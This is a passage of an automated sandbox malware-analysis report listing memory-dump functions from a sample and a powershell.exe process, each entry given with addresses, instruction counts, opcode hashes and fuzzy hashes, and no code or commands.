Instruction Fuzzy Hash: 0FC08C712082C0CFEB020794A4142403F30DF47311F1814E7E084CFEA2C2382C05C732

Uniqueness

Uniqueness Score: -1.00%

Function 05A2BA90 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e208d4848148ca000dbf3715019a7af01a313cce16f4d6bf218ff5a5af2a025f
Instruction ID: c08bf8d83ffd2ee4982f76ba73d1a8f975e698d8ac8a0198b00b3c396e9097c0
Opcode Fuzzy Hash: e208d4848148ca000dbf3715019a7af01a313cce16f4d6bf218ff5a5af2a025f
Instruction Fuzzy Hash: 1CD09E39A01008DBCB04DF88E541ADDF772FB84325F10C05BDD1567350C7329A16DB91

Uniqueness

Uniqueness Score: -1.00%

Function 05A2B1C0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44866ad86b95b0998a8845595e26a488e96e9d3c24c786475c47586ed2ad3693
Instruction ID: 1068e91c622b5e245bda9d448f42f4766ac1537f965019f91c57e313946b9679
Opcode Fuzzy Hash: 44866ad86b95b0998a8845595e26a488e96e9d3c24c786475c47586ed2ad3693
Instruction Fuzzy Hash: 5CD0C939B042088FCF00DB98E8554DCF776FB88326B208026D50A97224CA311D16CB40

Uniqueness

Uniqueness Score: -1.00%

Function 05B04988 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631982709.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b00000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8aea8bdc694eaaba58e77f682450e85212eb89bfd8bca75d0ee46a33c371d971
Instruction ID: 04260d983cd5d1d7f053ca4af83ce34134bb2ea9f417966ff8d70398b47bde60
Opcode Fuzzy Hash: 8aea8bdc694eaaba58e77f682450e85212eb89bfd8bca75d0ee46a33c371d971
Instruction Fuzzy Hash: 61C04C30198304DEDF449A7D690A7357B1E6740609E1065BAB20A445D09D657851D941

Uniqueness

Uniqueness Score: -1.00%

Function 05A294C1 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24bea4fade3f5dfee948dbc6c356bc0743ab72f368d7723876b75ed6feb96d03
Instruction ID: 3016da0a1b3435ff0cd4727e2ec4cf7504efc5013be12b2b28feb3fd72475a20
Opcode Fuzzy Hash: 24bea4fade3f5dfee948dbc6c356bc0743ab72f368d7723876b75ed6feb96d03
Instruction Fuzzy Hash: 87D012B140C150CFD715D648A496A37B733FB50605F1081EFD78F064418B249882CA45

Uniqueness

Uniqueness Score: -1.00%

Function 05A2AF58 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76918dec81c0c85a36529f5f5fe852184a278a9455abd0c39297b744aaaf1e74
Instruction ID: fd25955aa19f7b2cabacf33233fa498506ce2afaa3bed7f5a7a956a2e09e1ef6
Opcode Fuzzy Hash: 76918dec81c0c85a36529f5f5fe852184a278a9455abd0c39297b744aaaf1e74
Instruction Fuzzy Hash: 16C09BF104DF38C78515D76D5547C35333B9701905301005FE91FC452155FE99549943

Uniqueness

Uniqueness Score: -1.00%

Function 05A2E868 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2f0f9c4534fa6ee7116e7f0e60666932b52d23e328f0535d4ba4475d4dda3f7
Instruction ID: 5bba5bb63e1c3c2277b8cd93f03458e1534f801c63eb899b65e2a0e0c16f2ca5
Opcode Fuzzy Hash: f2f0f9c4534fa6ee7116e7f0e60666932b52d23e328f0535d4ba4475d4dda3f7
Instruction Fuzzy Hash: 91C0923820C338C7C614EB6FA41BC347F3F5602715B00026FA8CB88DA0A632D8D0898B

Uniqueness

Uniqueness Score: -1.00%

Function 05A2E85A Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 687a77ebaaac464869497d92cd2fac6a7f69aaba777a3fdc81cc9839cd344f27
Instruction ID: e0be345648c163c4c35fb048d42b79351844aa93ce23e35f5f7c7cadf09fdf9f
Opcode Fuzzy Hash: 687a77ebaaac464869497d92cd2fac6a7f69aaba777a3fdc81cc9839cd344f27
Instruction Fuzzy Hash: D6C08C9164818445EF10859D2820EA82F2647E2342B0A306B87791A9E008110046D226

Uniqueness

Uniqueness Score: -1.00%

Function 05A21230 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acdabb623883f392f97f3a1a046713cfa6c4c51e34bef4558fc18a9377e9d6d0
Instruction ID: 28cd1024aa3994b08a4842a9d15ccec60e5d550fd09fe3f7f27f049f2d3eb259
Opcode Fuzzy Hash: acdabb623883f392f97f3a1a046713cfa6c4c51e34bef4558fc18a9377e9d6d0
Instruction Fuzzy Hash: 15B092313542180AEA5097B97845F2637CCD740618F440072B80CD2900E55AE890A650

Uniqueness

Uniqueness Score: -1.00%

Function 05B02198 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631982709.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b00000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4759f95e2f89a17459e40ef36f73a0fb7ac718213160c60feb6395b7ce744b43
Instruction ID: a185dd8460eb5904d0a82be7852d473b8de2a77e02fc4b2d190c1086e11dee4b
Opcode Fuzzy Hash: 4759f95e2f89a17459e40ef36f73a0fb7ac718213160c60feb6395b7ce744b43
Instruction Fuzzy Hash: BDB09B3C18C744C2F7116150E40D73DFA1F5F90344E7060E7420B05AD05465B55A4542

Uniqueness

Uniqueness Score: -1.00%

Function 05B07D88 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631982709.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b00000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e0ffab8ab06af7f0560d17f9d2c42d90063d6001e9297eed3dc41419eb4968a
Instruction ID: 0d28c46cf5a2167079c423ca422b1a28dfdbaeeb237f91197cdadadff305e8c4
Opcode Fuzzy Hash: 1e0ffab8ab06af7f0560d17f9d2c42d90063d6001e9297eed3dc41419eb4968a
Instruction Fuzzy Hash: 26C09B711DC244C7D7189E69980F635BB2BD745305F1016FA900F095D08D76B4534795

Uniqueness

Uniqueness Score: -1.00%

Function 05B04170 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631982709.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b00000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53bf4d692235e64af034723ac8c2886d2072de82a641bcdf5f29eef3828a3a1f
Instruction ID: a86e597dd462c4210cfa378af05223daaf724b59c1a8cbce083ad5b5e8a357d0
Opcode Fuzzy Hash: 53bf4d692235e64af034723ac8c2886d2072de82a641bcdf5f29eef3828a3a1f
Instruction Fuzzy Hash: 9EC09B3408C604F7CF15DB58A8445357F3F976121537491DDE307055A49737F8518A81

Uniqueness

Uniqueness Score: -1.00%

Function 05B03AC8 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631982709.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b00000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3ae9b2059251a41afdd4c1b61bf3ee4b01b1c26cbbfbc3a2453ca6dc9b2d01b
Instruction ID: 3cb998a1cb5a8b661f73e93bb2da177f6f12d18749d04d233e02761e0aa1757b
Opcode Fuzzy Hash: f3ae9b2059251a41afdd4c1b61bf3ee4b01b1c26cbbfbc3a2453ca6dc9b2d01b
Instruction Fuzzy Hash: 43C09B301AD264CA8704D7756C0C43F3A9B9541305304A8F99407045A14B31B4519591

Uniqueness

Uniqueness Score: -1.00%

Function 05A294D0 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cba22cac3fa71aed8c20cd5d54bee398f8fd02a3b0a97bee2d0b165b24b16f62
Instruction ID: 6422e5f3cfb62dcffc9d6809f3bcaf42d895fa6597139103c46786128d0b9a28
Opcode Fuzzy Hash: cba22cac3fa71aed8c20cd5d54bee398f8fd02a3b0a97bee2d0b165b24b16f62
Instruction Fuzzy Hash: C9B0923001C228CF8214D68CB987C33B77AA690D14B508297DA5F069114A10F8C1C59A

Uniqueness

Uniqueness Score: -1.00%

Function 05A236AD Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 599ddc733082322716180d80a27603c66d91699df1dc9298ce0669ee33ef5f4f
Instruction ID: 544b7d00bd2ecfbafe4ed518077ebce2412966b6b97d2c9a21d64e528ebf4870
Opcode Fuzzy Hash: 599ddc733082322716180d80a27603c66d91699df1dc9298ce0669ee33ef5f4f
Instruction Fuzzy Hash: 1BB09237A15009CF8B00DBC8F8458DCF331FB94226B10406BD215A20108A321A29DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 05A21370 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5427508f51b535d5609bddfc8d594377d5a95f9ee4e8f3b985d1ff805b214f8
Instruction ID: 92231807fa01b1c3731266b008c7b15e5b9b4f82cd20e7b7afe2f1a9d5e450f4
Opcode Fuzzy Hash: c5427508f51b535d5609bddfc8d594377d5a95f9ee4e8f3b985d1ff805b214f8
Instruction Fuzzy Hash: 00C04C6180815397CA18972491987D0EB10FF0020AF155649941543042CF24187FD655

Uniqueness

Uniqueness Score: -1.00%

Function 05A2A880 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37e64e2586b24f6e86170ded1475cf20e6f7e12bdda9108092508d6ac5ae2716
Instruction ID: deaa7266dbeda5428354bead813af2a05f853577577ebee8fb8ed905b46257c8
Opcode Fuzzy Hash: 37e64e2586b24f6e86170ded1475cf20e6f7e12bdda9108092508d6ac5ae2716
Instruction Fuzzy Hash: 22C09B700441854BD721C70C8CE87847B11F744609FA400F9C5100640292297016D529

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05A266A0 Relevance: 1.1, Instructions: 1077COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1843b0156be3eabf0956db505e4a0da8736a793e88d4bd0255e2e462c5af7160
Instruction ID: 69963483b5ddb0e9b60c65d2a0db3fc877903fc7ad5a60d9d48fa0026cea714f
Opcode Fuzzy Hash: 1843b0156be3eabf0956db505e4a0da8736a793e88d4bd0255e2e462c5af7160
Instruction Fuzzy Hash: 5A925D71E051299FCB14CF99C881EAEB7F6FF88310F1A8566E819EB311DA35DD418B90

Uniqueness

Uniqueness Score: -1.00%

Function 05982E6F Relevance: .8, Instructions: 774COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631720237.0000000005980000.00000004.08000000.00040000.00000000.sdmp, Offset: 05980000, based on PE: true

Associated: 00000000.00000002.631871012.0000000005A10000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c890941531564646d3fd5953c3a6c62ba2b02c1cd72ee5facaf6c03f0de7a7ad
Instruction ID: d5597e0c28b3d074fe4540a03efdabbc2a058e379d5dcc9caa3890109d03cde3
Opcode Fuzzy Hash: c890941531564646d3fd5953c3a6c62ba2b02c1cd72ee5facaf6c03f0de7a7ad
Instruction Fuzzy Hash: 4252AB6240E3C25FD7238B749C796E2BFB4AE5321471E49CBC4C1CF5A3E218695AC762

Uniqueness

Uniqueness Score: -1.00%

Function 05989207 Relevance: .7, Instructions: 684COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631720237.0000000005980000.00000004.08000000.00040000.00000000.sdmp, Offset: 05980000, based on PE: true

Associated: 00000000.00000002.631871012.0000000005A10000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3043ebf5a3b6d9506a45a53e75feeba2802e448b1f87faebd3a92a81e562ef1
Instruction ID: fb001870a6419949a0bd544e369d28d41b10f2b35a6276b5ff474c957fddd692
Opcode Fuzzy Hash: b3043ebf5a3b6d9506a45a53e75feeba2802e448b1f87faebd3a92a81e562ef1
Instruction Fuzzy Hash: 6D42A26240E3C25FC7139F749CB56A1BFB0AE6321471E49CBC4C0CF1A3E629695AD762

Uniqueness

Uniqueness Score: -1.00%

Function 05B0C468 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631982709.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b00000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b33ff3a52475d73268c8a7e55cbffc694fe493a49f5130f7f68df07b6a637690
Instruction ID: d446ac73ff638e55a04ff2e40a7f710a17de5296bc9fbce087bbd728d445b84d
Opcode Fuzzy Hash: b33ff3a52475d73268c8a7e55cbffc694fe493a49f5130f7f68df07b6a637690
Instruction Fuzzy Hash: 4FE1F534A006048FDB14DF69C588AAEFBF6FF88714F2595A9E4059B3A1DB34EC41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 05A2088D Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0df3e47552bc14812b54c2f80e68e54c08bc16f5159f1a7e76028fd43af2bb7a
Instruction ID: 33efd07cfc81ec3ee0928fa761d7b57144d903dbc1fec4acb64ad77658707ce2
Opcode Fuzzy Hash: 0df3e47552bc14812b54c2f80e68e54c08bc16f5159f1a7e76028fd43af2bb7a
Instruction Fuzzy Hash: F1D1BF70E042688FCB14CBA9C895AADFBF3BF85304F19C5A9D059AB346D734A985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 05A2081E Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33c68455870fb78382f6f43a8b1edd171b8c5c7b6ee218975ddc5d13f3de1de4
Instruction ID: 04b84b3d374aa8c944f3b5602e2528b0462aa6587213be89a63bc2dbd60f3a9d
Opcode Fuzzy Hash: 33c68455870fb78382f6f43a8b1edd171b8c5c7b6ee218975ddc5d13f3de1de4
Instruction Fuzzy Hash: E5B18D71E04268CFCB14CBA9C885AADBBF2BF85304F19C5A9D059EB355D734A981CF50

Uniqueness

Uniqueness Score: -1.00%

Function 05A20910 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5e4f9094cd80db3596082cf79a74f132c9a6cb9768fc3a58ae5c979e5bf5c16
Instruction ID: 99c17f71e445f52ac7299b8815bab43ec4aeb2365ad9cc222c37381d567f1cfa
Opcode Fuzzy Hash: c5e4f9094cd80db3596082cf79a74f132c9a6cb9768fc3a58ae5c979e5bf5c16
Instruction Fuzzy Hash: FBA16A71E042288FCB14CFA9C986AADB7F2BF88304F29C559D055EB355D734A982CF50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 6880, Parent PID: 6788COMMON

Execution Graph

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	89
Total number of Limit Nodes:	6

Executed Functions

Function 0310EBA0 Relevance: .5, Instructions: 484
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.539182873.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3100000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b5bf4605dddfdc7a320cc1dfdf370b1774e719e12144c585ee3845d31399987
Instruction ID: 6c4cc69e60c4d5b37563f18add2488db2a7bf67f331051f0300587cdb48f42c1
Opcode Fuzzy Hash: 2b5bf4605dddfdc7a320cc1dfdf370b1774e719e12144c585ee3845d31399987
Instruction Fuzzy Hash: EB12C931A00609DFDB15DF68C985AAEB7BAFF88300F14C559E405EB295DB70ED82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 034B3FEC Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(00000000), ref: 034B5728

Memory Dump Source

Source File: 00000002.00000002.539682340.00000000034B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34b0000_powershell.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 65ad0422fcd8d7b3b511c0a3ddcac2570701767725bc8e75ab49ebb25ea3e2fe
Instruction ID: f63bd933f4b27b7cb043e16caa09c302f328080a336af174d72dbeb7cf82bc2d
Opcode Fuzzy Hash: 65ad0422fcd8d7b3b511c0a3ddcac2570701767725bc8e75ab49ebb25ea3e2fe
Instruction Fuzzy Hash: CB2122B1D006199BCB10CFAAD444BDEFBF8EB49224F04816AD818A7300D774AA05CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 031333B1 Relevance: 1.5, APIs: 1, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEncodePointer.NTDLL(00000000,?,?,?,?,?,?,?,?,?,0313318A), ref: 03133417

Memory Dump Source

Source File: 00000002.00000002.539230245.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3130000_powershell.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 112ed4587051f9c12e827ccbb97069a26f78156b0183c263662948869754318f
Instruction ID: 7262a64dffe97415b205452f188e6b7c73c93606dd22e7775575d409beafb7a3
Opcode Fuzzy Hash: 112ed4587051f9c12e827ccbb97069a26f78156b0183c263662948869754318f
Instruction Fuzzy Hash: 8811F5B5900609CFDB10CFA9D484BDEBBF4FF89314F24855AD529A7600C774A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 03132D3C Relevance: 1.5, APIs: 1, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEncodePointer.NTDLL(00000000,?,?,?,?,?,?,?,?,?,0313318A), ref: 03133417

Memory Dump Source

Source File: 00000002.00000002.539230245.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3130000_powershell.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: d60fdef48a7dbf430811f3180ed482d043f090592dc05242d059c2bedac1d2ac
Instruction ID: ad01abe9232240c99a0d78683ae4aaf4033cf03291931fb3a5d54ce99b6cb0dc
Opcode Fuzzy Hash: d60fdef48a7dbf430811f3180ed482d043f090592dc05242d059c2bedac1d2ac
Instruction Fuzzy Hash: 341103B5900749DFDB10CF9AD448BDEBBF4EB89224F14882AD529A7200D774A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 03102320 Relevance: .2, Instructions: 232
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.539182873.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3100000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ef496edef454dfaa5cad25f8b183c2a9865aef930fa94356b8724b812c7c1e3
Instruction ID: 9d783bdb17ab490df237798067447eee5d1ca87c1105f8f4c24aaa97dc5d75d1
Opcode Fuzzy Hash: 6ef496edef454dfaa5cad25f8b183c2a9865aef930fa94356b8724b812c7c1e3
Instruction Fuzzy Hash: 7E916C30A00618CFCB14CF69D488A9EF7F2FF88314F198969D849AB791D7B4E846CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0310EA30 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.539182873.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3100000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef2bc5d1e211bbec1170dede65bba219e1063b5702afac0a8cf0681baa389b29
Instruction ID: 318d187ce8592a7eb316ad9a33abbde92cca172fa7b88692cccdb97c07933be5
Opcode Fuzzy Hash: ef2bc5d1e211bbec1170dede65bba219e1063b5702afac0a8cf0681baa389b29
Instruction Fuzzy Hash: B23118317002089FC704EBBDD455A9ABBABEFC9614B15842ED809CB340EF34DC8387A5

Uniqueness

Uniqueness Score: -1.00%

Function 0310FE53 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.539182873.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3100000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c337317c5ea25a83876b30e96b2814fffa77f7c414bf6df08abee8c0441a23a9
Instruction ID: 8e555991eecb67d00758a2cd38b322da74c44c093c88cbd8c8572b096c0e56c9
Opcode Fuzzy Hash: c337317c5ea25a83876b30e96b2814fffa77f7c414bf6df08abee8c0441a23a9
Instruction Fuzzy Hash: C7219D36700104CFCB14EB68E959AAEB7B6EB8C311F2540A9E502E7395DF71AC05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0310E708 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.539182873.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3100000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c012b082b4aedc00aed7320f179ac6b825f8de84a3af585e4bde5b42263563d
Instruction ID: 811e97076d363f1c21281ef5ae01fdbb28a711229a2036ee7e81e08698a1a766
Opcode Fuzzy Hash: 9c012b082b4aedc00aed7320f179ac6b825f8de84a3af585e4bde5b42263563d
Instruction Fuzzy Hash: B521A174A006559BDB09DFA5C814BEEB7B6BF8DB08F144469C402AB380DFB59945CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0310E718 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.539182873.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3100000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14bed1cb82fba61da4d9dee2d96dcee7ec54c5d202002ece11857845c83b7008
Instruction ID: 79184e21c80a5a7202aab3ef1b5a17dbcc423a663eabf0061391f30e4a804c88
Opcode Fuzzy Hash: 14bed1cb82fba61da4d9dee2d96dcee7ec54c5d202002ece11857845c83b7008
Instruction Fuzzy Hash: DF119D34A006589BEB08DBA5C810BEEBBB6BF8D208F144469C505B7380DFB59945CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0310299F Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.539182873.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3100000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9c4e415799bba92e3aab8d36ee249b91666e83d42904fb4a46a95d573d1e509
Instruction ID: 983de3d7fc510b002baa3aa1d419baaf644402e0758b9fb8fe76821ef42247c1
Opcode Fuzzy Hash: c9c4e415799bba92e3aab8d36ee249b91666e83d42904fb4a46a95d573d1e509
Instruction Fuzzy Hash: 52118B75A00204CFCB18DF68C458A9DB7B5FF8D350F1584A9D901AB3A1CBB5AC42CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 031029B0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.539182873.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3100000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 034afda27028c87432701e83f137074ba49af5869d33d72538feab89db29cba7
Instruction ID: d2f21dde39062ac9642a6876fb4cc74d707f15cbb26c2c91c228f51d2a1c1eec
Opcode Fuzzy Hash: 034afda27028c87432701e83f137074ba49af5869d33d72538feab89db29cba7
Instruction Fuzzy Hash: D6115E34A00604DFDB18DF68D498A9EB7B5EF8D351F108469E501BB3A1CBB5AC41CFA1

Uniqueness

